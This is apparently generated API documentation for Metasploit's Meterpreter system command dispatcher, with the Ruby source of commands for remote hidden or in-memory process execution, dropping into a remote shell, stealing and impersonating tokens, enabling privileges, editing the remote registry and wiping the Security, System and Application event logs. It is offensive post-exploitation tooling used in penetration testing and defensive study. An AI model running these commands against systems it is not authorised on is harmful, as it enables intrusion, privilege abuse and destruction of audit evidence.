Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Sys

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

Overview

The system level portion of the standard API extension.

Constant Summary collapse

Klass =
Console::CommandDispatcher::Stdapi::Sys
@@execute_opts =

Options used by the ‘execute’ command.

Rex::Parser::Arguments.new(
"-a" => [ true,  "The arguments to pass to the command."                   ],
"-c" => [ false, "Channelized I/O (required for interaction)."             ],
"-f" => [ true,  "The executable command to run."                          ],
"-h" => [ false, "Help menu."                                              ],
"-H" => [ false, "Create the process hidden from view."                    ],
"-i" => [ false, "Interact with the process after creating it."            ],
"-m" => [ false, "Execute from memory."                                    ],
"-d" => [ true,  "The 'dummy' executable to launch when using -m."         ],
"-t" => [ false, "Execute process with currently impersonated thread token"],
"-k" => [ false, "Execute process on the meterpreters current desktop"     ],
"-s" => [ true,  "Execute process in a given session as the session user"  ])
@@reg_opts =

Options used by the ‘reg’ command.

Rex::Parser::Arguments.new(
"-d" => [ true,  "The data to store in the registry value."                ],
"-h" => [ false, "Help menu."                                              ],
"-k" => [ true,  "The registry key path (E.g. HKLM\\Software\\Foo)."       ],
"-t" => [ true,  "The registry value type (E.g. REG_SZ)."                  ],
"-v" => [ true,  "The registry value name (E.g. Stuff)."                   ],
"-r" => [ true,  "The remote machine name to connect to (with current process credentials" ],
"-w" => [ false,  "Set KEY_WOW64 flag, valid values [32|64]."               ])

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_clearev(*args) ⇒ Object

Clears the event log



241
242
243
244
245
246
247
248
249
250
251
252
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 241

def cmd_clearev(*args)

	logs = ['Application', 'System', 'Security']
	logs << args
	logs.flatten!

	logs.each do |name|
		log = client.sys.eventlog.open(name)
		print_status("Wiping #{log.length} records from #{name}...")
		log.clear
	end
end

#cmd_drop_token(*args) ⇒ Object

Drops any assumed token.



569
570
571
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 569

def cmd_drop_token(*args)
	print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
end

#cmd_execute(*args) ⇒ Object

Executes a command with some options.



125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 125

def cmd_execute(*args)
	if (args.length == 0)
		args.unshift("-h")
	end

	session     = nil
	interact    = false
	desktop     = false
	channelized = nil
	hidden      = nil
	from_mem    = false
	dummy_exec  = "cmd"
	cmd_args    = nil
	cmd_exec    = nil
	use_thread_token = false

	@@execute_opts.parse(args) { |opt, idx, val|
		case opt
			when "-a"
				cmd_args = val
			when "-c"
				channelized = true
			when "-f"
				cmd_exec = val
			when "-H"
				hidden = true
			when "-m"
				from_mem = true
			when "-d"
				dummy_exec = val
			when "-k"
				desktop = true
			when "-h"
				print(
					"Usage: execute -f file [options]\n\n" +
					"Executes a command on the remote machine.\n" +
					@@execute_opts.usage)
				return true
			when "-i"
				channelized = true
				interact = true
			when "-t"
				use_thread_token = true
			when "-s"
				session = val.to_i
		end
	}

	# Did we at least get an executable?
	if (cmd_exec == nil)
		print_error("You must specify an executable file with -f")
		return true
	end

	# Execute it
	p = client.sys.process.execute(cmd_exec, cmd_args,
		'Channelized' => channelized,
		'Desktop'     => desktop,
		'Session'     => session,
		'Hidden'      => hidden,
		'InMemory'    => (from_mem) ? dummy_exec : nil,
		'UseThreadToken' => use_thread_token)

	print_line("Process #{p.pid} created.")
	print_line("Channel #{p.channel.cid} created.") if (p.channel)

	if (interact and p.channel)
		shell.interact_with_channel(p.channel)
	end
end

#cmd_getpid(*args) ⇒ Object

Gets the process identifier that meterpreter is running in on the remote machine.



225
226
227
228
229
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 225

def cmd_getpid(*args)
	print_line("Current pid: #{client.sys.process.getpid}")

	return true
end

#cmd_getprivs(*args) ⇒ Object

Obtains as many privileges as possible on the target machine.



542
543
544
545
546
547
548
549
550
551
552
553
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 542

def cmd_getprivs(*args)
	if args.include? "-h"
		cmd_getprivs_help
	end
	print_line("=" * 60)
	print_line("Enabled Process Privileges")
	print_line("=" * 60)
	client.sys.config.getprivs.each do |priv|
		print_line("  #{priv}")
	end
	print_line("")
end

#cmd_getprivs_helpObject



528
529
530
531
532
533
534
535
536
537
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 528

def cmd_getprivs_help
	print_line "Usage: getprivs"
	print_line
	print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
	print_line "current process.  Note that this only enables existing privs and does not change"
	print_line "users or tokens."
	print_line
	print_line "See also: steal_token, getsystem"
	print_line
end

#cmd_getuid(*args) ⇒ Object

Displays the user that the server is running as.



234
235
236
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 234

def cmd_getuid(*args)
	print_line("Server username: #{client.sys.config.getuid}")
end

#cmd_kill(*args) ⇒ Object

Kills one or more processes.



257
258
259
260
261
262
263
264
265
266
267
268
269
270
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 257

def cmd_kill(*args)
	if (args.length == 0)
		print_line(
			"Usage: kill pid1 pid2 pid3 ...\n\n" +
			"Terminate one or more processes.")
		return true
	end

	print_line("Killing: #{args.join(", ")}")

	client.sys.process.kill(*(args.map { |x| x.to_i }))

	return true
end

#cmd_ps(*args) ⇒ Object

Lists running processes.



275
276
277
278
279
280
281
282
283
284
285
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 275

def cmd_ps(*args)
	processes = client.sys.process.get_processes
	if (processes.length == 0)
		print_line("No running processes were found.")
	else
		print_line
		print_line(processes.to_table("Indent" => 1).to_s)
		print_line
	end
	return true
end

#cmd_reboot(*args) ⇒ Object

Reboots the remote computer.



290
291
292
293
294
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 290

def cmd_reboot(*args)
	print_line("Rebooting...")

	client.sys.power.reboot
end

#cmd_reg(*args) ⇒ Object

Modifies and otherwise interacts with the registry on the remote computer by allowing the client to enumerate, open, modify, and delete registry keys and values.



301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 301

def cmd_reg(*args)
	# Extract the command, if any
	cmd = args.shift

	if (args.length == 0)
		args.unshift("-h")
	end

	# Initiailze vars
	key     = nil
	value   = nil
	data    = nil
	type    = nil
	wowflag = 0x0000
	rem     = nil

	@@reg_opts.parse(args) { |opt, idx, val|
		case opt
			when "-h"
				print_line(
					"Usage: reg [command] [options]\n\n" +
					"Interact with the target machine's registry.\n" +
					@@reg_opts.usage +
					"COMMANDS:\n\n" +
					"    enumkey    Enumerate the supplied registry key [-k <key>]\n" +
					"    createkey  Create the supplied registry key  [-k <key>]\n" +
					"    deletekey  Delete the supplied registry key  [-k <key>]\n" +
					"    queryclass Queries the class of the supplied key [-k <key>]\n" +
					"    setval     Set a registry value [-k <key> -v <val> -d <data>]\n" +
					"    deleteval  Delete the supplied registry value [-k <key> -v <val>]\n" +
					"    queryval   Queries the data contents of a value [-k <key> -v <val>]\n\n")
				return false
			when "-k"
				key   = val
			when "-v"
				value = val
			when "-t"
				type  = val
			when "-d"
				data  = val
			when "-r"
				rem  = val
			when "-w"
				if val == '64'
					wowflag = KEY_WOW64_64KEY
				elsif val == '32'
					wowflag = KEY_WOW64_32KEY
				end
		end
	}

	# All commands require a key.
	if (key == nil)
		print_error("You must specify a key path (-k)")
		return false
	end

	# Split the key into its parts
	root_key, base_key = client.sys.registry.splitkey(key)

	begin
		# Rock it
		case cmd
			when "enumkey"

				open_key = nil
				if not rem
					open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
					end
				end

				print_line(
					"Enumerating: #{key}\n")

				keys = open_key.enum_key
				vals = open_key.enum_value

				if (keys.length > 0)
					print_line("  Keys (#{keys.length}):\n")

					keys.each { |subkey|
						print_line("\t#{subkey}")
					}

					print_line
				end

				if (vals.length > 0)
					print_line("  Values (#{vals.length}):\n")

					vals.each { |val|
						print_line("\t#{val.name}")
					}

					print_line
				end

				if (vals.length == 0 and keys.length == 0)
					print_line("No children.")
				end

			when "createkey"
				open_key = nil
				if not rem
					open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
					end
				end

				print_line("Successfully created key: #{key}")

			when "deletekey"
				open_key = nil
				if not rem
					open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
					end
				end
				open_key.delete_key(base_key)

				print_line("Successfully deleted key: #{key}")

			when "setval"
				if (value == nil or data == nil)
					print_error("You must specify both a value name and data (-v, -d).")
					return false
				end

				type = "REG_SZ" if (type == nil)

				open_key = nil
				if not rem
					open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
					end
				end

				open_key.set_value(value, client.sys.registry.type2str(type), data)

				print_line("Successful set #{value}.")

			when "deleteval"
				if (value == nil)
					print_error("You must specify a value name (-v).")
					return false
				end

				open_key = nil
				if not rem
					open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
					end
				end

				open_key.delete_value(value)

				print_line("Successfully deleted #{value}.")

			when "queryval"
				if (value == nil)
					print_error("You must specify a value name (-v).")
					return false
				end

				open_key = nil
				if not rem
					open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
					end
				end

				v = open_key.query_value(value)

				print(
					"Key: #{key}\n" +
					"Name: #{v.name}\n" +
					"Type: #{v.type_to_s}\n" +
					"Data: #{v.data}\n")

			when "queryclass"
				open_key = nil
				if not rem
					open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
				else
					remote_key = client.sys.registry.open_remote_key(rem, root_key)
					if remote_key
						open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
					end
				end

				data = open_key.query_class

				print("Data: #{data}\n")
			else
				print_error("Invalid command supplied: #{cmd}")
		end
	ensure
		open_key.close if (open_key)
	end
end

#cmd_rev2self(*args) ⇒ Object

Calls RevertToSelf() on the remote machine.



524
525
526
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 524

def cmd_rev2self(*args)
	client.sys.config.revert_to_self
end

#cmd_shell(*args) ⇒ Object

Drop into a system shell as specified by %COMSPEC% or as appropriate for the host.



200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 200

def cmd_shell(*args)
	case client.platform
	when /win/
		path = client.fs.file.expand_path("%COMSPEC%")
		path = (path and not path.empty?) ? path : "cmd.exe"
		cmd_execute("-f", path, "-c", "-H", "-i", "-t")
	when /linux/
		# Don't expand_path() this because it's literal anyway
		path = "/bin/sh"
		cmd_execute("-f", path, "-c", "-i")
	else
		# Then this is a multi-platform meterpreter (php or java), which
		# must special-case COMSPEC to return the system-specific shell.
		path = client.fs.file.expand_path("%COMSPEC%")
		# If that failed for whatever reason, guess it's unix
		path = (path and not path.empty?) ? path : "/bin/sh"
		cmd_execute("-f", path, "-c", "-i")
	end
end

#cmd_shutdown(*args) ⇒ Object

Shuts down the remote computer.



592
593
594
595
596
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 592

def cmd_shutdown(*args)
	print_line("Shutting down...")

	client.sys.power.shutdown
end

#cmd_steal_token(*args) ⇒ Object

Tries to steal the primary token from the target process.



558
559
560
561
562
563
564
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 558

def cmd_steal_token(*args)
	if(args.length != 1 or args[0] == "-h")
		print_error("Usage: steal_token [pid]")
		return
	end
	print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
end

#cmd_sysinfo(*args) ⇒ Object

Displays information about the remote system.



576
577
578
579
580
581
582
583
584
585
586
587
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 576

def cmd_sysinfo(*args)
	info = client.sys.config.sysinfo
	width = "Meterpreter".length
	info.keys.each { |k| width = k.length if k.length > width and info[k] }

	info.each_pair do |key, value|
		print_line("#{key.ljust(width+1)}: #{value}") if value
	end
	print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")

	return true
end

#commandsObject

List of supported commands.



51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 51

def commands
	all = {
		"clearev"     => "Clear the event log",
		"drop_token"  => "Relinquishes any active impersonation token.",
		"execute"     => "Execute a command",
		"getpid"      => "Get the current process identifier",
		"getprivs"    => "Attempt to enable all privileges available to the current process",
		"getuid"      => "Get the user that the server is running as",
		"kill"        => "Terminate a process",
		"ps"          => "List running processes",
		"reboot"      => "Reboots the remote computer",
		"reg"         => "Modify and interact with the remote registry",
		"rev2self"    => "Calls RevertToSelf() on the remote machine",
		"shell"       => "Drop into a system command shell",
		"shutdown"    => "Shuts down the remote computer",
		"steal_token" => "Attempts to steal an impersonation token from the target process",
		"sysinfo"     => "Gets information about the remote system, such as OS",
	}
	reqs = {
		"clearev"     => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
		"drop_token"  => [ "stdapi_sys_config_drop_token" ],
		"execute"     => [ "stdapi_sys_process_execute" ],
		"getpid"      => [ "stdapi_sys_process_getpid"  ],
		"getprivs"    => [ "stdapi_sys_config_getprivs" ],
		"getuid"      => [ "stdapi_sys_config_getuid" ],
		"kill"        => [ "stdapi_sys_process_kill" ],
		"ps"          => [ "stdapi_sys_process_get_processes" ],
		"reboot"      => [ "stdapi_sys_power_exitwindows" ],
		"reg"         => [
			"stdapi_registry_load_key",
			"stdapi_registry_unload_key",
			"stdapi_registry_open_key",
			"stdapi_registry_open_remote_key",
			"stdapi_registry_create_key",
			"stdapi_registry_delete_key",
			"stdapi_registry_close_key",
			"stdapi_registry_enum_key",
			"stdapi_registry_set_value",
			"stdapi_registry_query_value",
			"stdapi_registry_delete_value",
			"stdapi_registry_query_class",
			"stdapi_registry_enum_value",
		],
		"rev2self"    => [ "stdapi_sys_config_rev2self" ],
		"shell"       => [ "stdapi_sys_process_execute" ],
		"shutdown"    => [ "stdapi_sys_power_exitwindows" ],
		"steal_token" => [ "stdapi_sys_config_steal_token" ],
		"sysinfo"     => [ "stdapi_sys_config_sysinfo" ],
	}

	all.delete_if do |cmd, desc|
		del = false
		reqs[cmd].each do |req|
			next if client.commands.include? req
			del = true
			break
		end

		del
	end

	all
end

#nameObject

Name for this dispatcher.



118
119
120
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb', line 118

def name
	"Stdapi: System"
end